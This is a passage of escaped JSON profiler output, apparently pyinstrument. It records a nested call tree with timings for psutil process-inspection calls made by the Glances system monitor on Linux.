\"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001995,\"attributes\": {\"cProcess\": 0.001995483005885035, \"l1593\": 0.001995483005885035},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001865\",\"time\": 0.001995,\"attributes\": {\"cProcess\": 0.001995483005885035, \"l1878\": 0.001995483005885035},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.001995,\"attributes\": {\"l682\": 0.001995483005885035},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.001995,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001995,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.002005,\"attributes\": {\"cProcess\": 0.0020051850005984306, \"l680\": 0.0020051850005984306},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002005,\"attributes\": {\"cProcess\": 0.0020051850005984306, \"l1593\": 0.0020051850005984306},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002005,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000829\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019991669978480786, \"l836\": 0.0019991669978480786},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019991669978480786, \"l1593\": 0.0019991669978480786},\"children\": [{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001792\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019991669978480786, \"l1796\": 0.0019991669978480786},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.001999,\"attributes\": {\"l682\": 0.0019991669978480786},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"__enter__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000136\",\"time\": 0.001997,\"attributes\": {\"c_GeneratorContextManager\": 0.001996671999222599, \"l141\": 0.001996671999222599},\"children\": [{\"identifier\": \"oneshot\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000478\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.001996671999222599, \"l526\": 0.001996671999222599},\"children\": [{\"identifier\": \"cache_activate\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000393\",\"time\": 0.001997,\"attributes\": {\"l397\": 0.001996671999222599},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.00200212599884253, \"l680\": 0.00200212599884253},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.00200212599884253, \"l1593\": 0.00200212599884253},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.00200212599884253, \"l1740\": 0.00200212599884253},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.00200212599884253, \"l1593\": 0.00200212599884253},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.00200212599884253, \"l382\": 0.00200212599884253},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.00200212599884253, \"l1683\": 0.00200212599884253},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.002002,\"attributes\": {\"l730\": 0.00200212599884253},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.002002,\"attributes\": {\"l719\": 0.00200212599884253},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.002002,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.001997393002966419, \"l382\": 0.001997393002966419},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.001997393002966419, \"l1138\": 0.001997393002966419},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.001997393002966419, \"l1593\": 0.001997393002966419},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001865\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.001997393002966419, \"l1878\": 0.001997393002966419},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.001997,\"attributes\": {\"l682\": 0.001997393002966419},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.001997,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.003999,\"attributes\": {\"cProcess\": 0.003998613996373024, \"l687\": 0.002000902000872884, \"l680\": 0.00199771199550014},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000746\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002000902000872884, \"l748\": 0.002000902000872884},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002000902000872884, \"l1593\": 0.002000902000872884},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001748\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002000902000872884, \"l1754\": 0.002000902000872884},\"children\": [{\"identifier\": \"_raise_if_zombie\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001646\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002000902000872884, \"l1647\": 0.002000902000872884},\"children\": [{\"identifier\": \"_is_zombie\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001630\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002000902000872884, \"l1638\": 0.002000902000872884},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.002001,\"attributes\": {\"l730\": 0.002000902000872884},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.002001,\"attributes\": {\"l719\": 0.002000902000872884},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.00199771199550014, \"l1593\": 0.00199771199550014},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.00199771199550014, \"l1740\": 0.00199771199550014},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.00199771199550014, \"l1593\": 0.00199771199550014},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.00199771199550014, \"l382\": 0.00199771199550014},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.00199771199550014, \"l1689\": 0.00199771199550014},\"children\": [{\"identifier\": \"bytes.split\\u0000<built-in>\\u00000\",\"time\": 0.001998,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.00200026499805972, \"l382\": 0.00200026499805972},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.00200026499805972, \"l1138\": 0.00200026499805972},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.00200026499805972, \"l1593\": 0.00200026499805972},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001865\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.00200026499805972, \"l1878\": 0.00200026499805972},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002000,\"attributes\": {\"l682\": 0.00200026499805972},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"nice\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000791\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019996180053567514, \"l794\": 0.0019996180053567514},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019996180053567514, \"l1593\": 0.0019996180053567514},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__enter__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000136\",\"time\": 0.002000,\"attributes\": {\"c_GeneratorContextManager\": 0.001999642998271156, \"l141\": 0.001999642998271156},\"children\": [{\"identifier\": \"oneshot\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000478\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999642998271156, \"l535\": 0.001999642998271156},\"children\": [{\"identifier\": \"oneshot_enter\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001727\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999642998271156, \"l1730\": 0.001999642998271156},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"cpu_percent\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001025\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019995429975097068, \"l1078\": 0.0019995429975097068},\"children\": [{\"identifier\": \"timer\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001066\",\"time\": 0.002000,\"attributes\": {\"l1067\": 0.0019995429975097068},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__exit__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000145\",\"time\": 0.002001,\"attributes\": {\"c_GeneratorContextManager\": 0.002000635002332274, \"l148\": 0.002000635002332274},\"children\": [{\"identifier\": \"oneshot\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000478\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002000635002332274, \"l505\": 0.002000635002332274},\"children\": [{\"identifier\": \"RLock.__exit__\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002000822001718916, \"l939\": 0.002000822001718916},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002000822001718916, \"l1593\": 0.002000822001718916},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002049\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002000822001718916, \"l2053\": 0.002000822001718916},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020022489989059977, \"l680\": 0.0020022489989059977},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020022489989059977, \"l1593\": 0.0020022489989059977},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020022489989059977, \"l1740\": 0.0020022489989059977},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020022489989059977, \"l1593\": 0.0020022489989059977},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020022489989059977, \"l382\": 0.0020022489989059977},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020022489989059977, \"l1683\": 0.0020022489989059977},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.002002,\"attributes\": {\"l730\": 0.0020022489989059977},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.002002,\"attributes\": {\"l719\": 0.0020022489989059977},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.002002,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.0019971159999840893, \"l382\": 0.0019971159999840893},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.0019971159999840893, \"l1138\": 0.0019971159999840893},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.0019971159999840893, \"l1593\": 0.0019971159999840893},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001865\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.0019971159999840893, \"l1879\": 0.0019971159999840893},\"children\": [{\"identifier\": \"<genexpr>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001879\",\"time\": 0.001997,\"attributes\": {\"l1880\": 0.0019971159999840893},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"status\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000750\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999834996240679, \"l753\": 0.001999834996240679},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999834996240679, \"l1593\": 0.001999834996240679},\"children\": [{\"identifier\": \"status\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002190\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999834996240679, \"l2193\": 0.001999834996240679},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019996629998786375, \"l391\": 0.0019996629998786375},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.002011,\"attributes\": {\"cProcess\": 0.0020113690043217503, \"l680\": 0.0020113690043217503},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002011,\"attributes\": {\"cProcess\": 0.0020113690043217503, \"l1593\": 0.0020113690043217503},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.002011,\"attributes\": {\"cProcess\": 0.0020113690043217503, \"l1740\": 0.0020113690043217503},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002011,\"attributes\": {\"cProcess\": 0.0020113690043217503, \"l1593\": 0.0020113690043217503},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002011,\"attributes\": {\"cProcess\": 0.0020113690043217503, \"l382\": 0.0020113690043217503},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.002011,\"attributes\": {\"cProcess\": 0.0020113690043217503, \"l1683\": 0.0020113690043217503},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.002011,\"attributes\": {\"l730\": 0.0020113690043217503},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.002011,\"attributes\": {\"l719\": 0.0020113690043217503},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.002011,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002011,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.001990,\"attributes\": {},\"children\": []},{\"identifier\": \"as_dict\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000545\",\"time\": 0.003999,\"attributes\": {\"cProcess\": 0.0039990280056372285, \"l572\": 0.001999441003135871, \"l579\": 0.0019995870025013573},\"children\": [{\"identifier\": \"__enter__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000136\",\"time\": 0.001999,\"attributes\": {\"c_GeneratorContextManager\": 0.001999441003135871, \"l141\": 0.001999441003135871},\"children\": [{\"identifier\": \"oneshot\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000478\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001999441003135871, \"l535\": 0.001999441003135871},\"children\": [{\"identifier\": \"oneshot_enter\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001727\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001999441003135871, \"l1729\": 0.001999441003135871},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019995870025013573, \"l939\": 0.0019995870025013573},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019995870025013573, \"l1593\": 0.0019995870025013573},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002049\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019995870025013573, \"l2053\": 0.0019995870025013573},\"children\": [{\"identifier\": \"Pattern.findall\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"is_running\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000625\",\"time\": 0.008001,\"attributes\": {\"cProcess\": 0.00800122299551731, \"l639\": 0.00800122299551731},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000313\",\"time\": 0.008001,\"attributes\": {\"cProcess\": 0.00800122299551731, \"l314\": 0.00800122299551731},\"children\": [{\"identifier\": \"_init\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000316\",\"time\": 0.008001,\"attributes\": {\"cProcess\": 0.00800122299551731, \"l347\": 0.00800122299551731},\"children\": [{\"identifier\": \"_get_ident\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000363\",\"time\": 0.008001,\"attributes\": {\"cProcess\": 0.00800122299551731, \"l394\": 0.00800122299551731},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.008001,\"attributes\": {\"cProcess\": 0.00800122299551731, \"l1593\": 0.00800122299551731},\"children\": [{\"identifier\": \"create_time\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001848\",\"time\": 0.008001,\"attributes\": {\"cProcess\": 0.00800122299551731, \"l1857\": 0.00800122299551731},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.008001,\"attributes\": {\"cProcess\": 0.00800122299551731, \"l1593\": 0.00800122299551731},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.006001,\"attributes\": {\"cProcess\": 0.006000574998324737, \"l375\": 0.006000574998324737},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.006001,\"attributes\": {\"cProcess\": 0.006000574998324737, \"l1683\": 0.006000574998324737},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.006001,\"attributes\": {\"l730\": 0.006000574998324737},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.006001,\"attributes\": {\"l718\": 0.004001319997769315, \"l719\": 0.001999255000555422},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002000,\"attributes\": {\"l682\": 0.0019995170005131513},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]},{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002002,\"attributes\": {\"l682\": 0.0020018029972561635},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002002,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"sort_stats\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000800\",\"time\": 0.001999,\"attributes\": {\"l824\": 0.0019986590050393716},\"children\": [{\"identifier\": \"<lambda>\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000773\",\"time\": 0.001999,\"attributes\": {\"l773\": 0.0019986590050393716},\"children\": [{\"identifier\": 